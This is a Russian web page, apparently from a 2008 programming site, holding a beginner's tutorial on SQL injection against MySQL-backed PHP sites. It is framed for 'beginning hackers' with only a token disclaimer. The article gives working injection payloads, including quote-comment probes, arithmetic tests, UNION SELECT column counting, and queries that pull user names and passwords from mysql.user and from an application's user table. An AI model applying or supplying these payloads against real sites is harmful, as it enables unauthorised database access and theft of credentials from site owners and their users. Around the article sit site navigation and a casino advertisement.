Навигация
  Главня
Статьи
-Сеть
--Безопасность
-Графика
--Photoshop
--Corel Draw
--Illustrator
-ОС
--Windows
--Linux
--Unix
-SEO
-Дизайн
--Web-Design
-Разное
-Программирование
--Delphy
--C/C++
--.NET
--PHP
--Pascal
--Perl
--Visual Basic
--Ассемблер
--Java
--Java Script
--ASP
Книги

Карта Сайта
Наши Сайты
Обратная связь
Новое на сайте
Статьи про любовь

 
Вход
 
Логин
Пароль
 

 
Найти
 

 
Партнёры
 

 
Статистика
 

 
Популярное
 

 
Календарь
 
«    Март 2008    »
ПнВтСрЧтПтСбВс
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 

 
Архив
  Сентябрь 2008 (4)
Июнь 2008 (4)
Май 2008 (12)
Апрель 2008 (49)
Март 2008 (51)
Февраль 2008 (73)
Январь 2008 (40)
Декабрь 2007 (58)
Ноябрь 2007 (61)
Октябрь 2007 (51)
Сентябрь 2007 (82)

 
Реклама
  Кулинарные рецепты на Cook-room.com - с пошаговыми фото

 
Казино
 

Интернет-казино Grand Casino произвело фурор в игорном мире. Одно из самых важных нововведений - наличие системы контроля честности всех азартных игр казино. Наличие контроля честности дает возможность полностью уйти в игру, не задумываясь о подтасовке или обмане. В Grand Casino можно пополнить счет и вывести выигрыш большим количеством способов:(SMS, E-gold, Rupay, Яндекс.Деньги, Webmoney,Кредитные карты,...). Теперь азартные игры на деньги стали доступнее. Предоставлены игры: Рулетка, Покер, Блэкджек, Видео Покер, Игровые автоматы, Кено.

   

Статьи » Программирование » PHP » SQL injection

Что побудило меня написать эту статью?
Желание поделиться навыками, с другими начинающими хакерами.
Статья эта написана только в целях повышения уровня знаний и за любое другое применение автор не несёт ответственности!!!

Все примеры описаны для Mysql.

Теория.

1. Обнаружение SI.
Во первых нам надо узнать, использует ли сервер SQL вообще, для этого по бродим по ссылкам, если через URL(То есть методом GET) передаются числовые параметры, то сервер скорее всего использует SQL, чтобы убидиться в этом подставим несуществующее значение (Обычно подходит -1 или 99999), если сервер, в том месте где должна быть информация, выдал пустое место, значит SQL используется!!!
Возможно два способа!
1.1 Подставляем '/*
После такой подстановки, если Magicquotes = off, Сервер выдаст ошибку или пустую страницу, это говорит о том, что сервер скорее всего подвержен атаке.
Происходит это из - за того что запрос принимает вот такой вид:
$query=mysql_query(" select* from `table` where `id`=''/* and `id2`='id2');
Вряд ли кодеры предусматривали такой вариант и вставили пустое значение в id =)

1.2 Проверяем Математикой =)
Итак предположим на ' ответ отрицательный, тогда проверим корректно ли написан запрос!
Предположим мы имеем дело с таким параметром id=2 при этом сервер выдал нам какую-то информацию.
Теперь проверим =) Подставляем в id математическое выражение т.е. id=3-1 если сервер выдал ту же информацию, сервер 95\% подвержен атаке =)

Реализация...
Мы не можем узнать как выглядит запрос в перво источнике, но для теоретического понимания приведу пример, и что происходит с запросом, при вставке нашего кода.

$query=mysql_query(" select * from `table` where `id`=id and `id2`='id2');
или
$query=mysql_query(" select * from `table` where `id`='id' and `id2`='id2'); при выключенных MAGICQUOTES

Итак мы вставляем в id следующее значение - id = -1+union+select+1,2/* или id = -1'+union+select+1,2/* во втором случае.

Запрос превращается вот в такой:
$query=mysql_query(" select* from `table` where `id`=-1 union select 1,2/* and `id2`='id2');
$query=mysql_query(" select* from `table` where `id`='-1' union select 1,2/* and `id2`='id2');
Union используется для обьединения запросов.

Нам нужно узнать, сколько полей используется в запросе.Делается это следующим запросом -
id=-1+union+select+1/*
/* - используется для того, чтобы не работала остальная часть запроса, и обозначает открытие коментария.
Если выдаётся ошибка типа "select statement ..." Значит используется больше полей! Изменяем запрос
id=-1+union+select+1,2/*
И добавляем до тех пор, пока не получим вывод без сообщений об ошибках!
Итак мы добились своего! Идём дальше =) Предположим мы знаем имена таблиц(если нет, то можно воспользоваться программой от rst(rst.void.ru))

В первую очередь проверяем, есть ли права на выборку из БД `mysql` Составляем вот такой запрос
id=-1+union+select+user,password+from+mysql.user/*
Где user,password - имена полей для выборки! Если на страницу выводиться только один результат, то можно перебирать результаты используя функцию SQL - limit ...

Предположим, мы знаем, что есть таблица, имя которой reguser, и вней есть поля usr и pwd =)
Чтобы их вывести составляем такой запрос
id=-1+union+select+usr,pwd+from+reguser/*

Вот и всё, это мои знания по SQL Injection которых мне пока хватает =)
Greetz: Всем, кто описывал этот тип атаки =)
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо зайти на сайт под своим именем.
Вы читаете: Статьи » Программирование » PHP » SQL injection
Статьи по теме:
  • Используем базу данных MySQL
  • Время выполнения SQL запросов
  • Голосование на базе
  • Скрипт подсчета кликов
  • Команды и функции языка SQL
  •  (голосов: 1)
    Просмотров: 2258 :: Комментарии: (0) :: :: Напечатать

    Информация
    Посетители, находящиеся в группе Гости, не могут оставлять комментарии в данной новости.
     
    Design by PODPOLE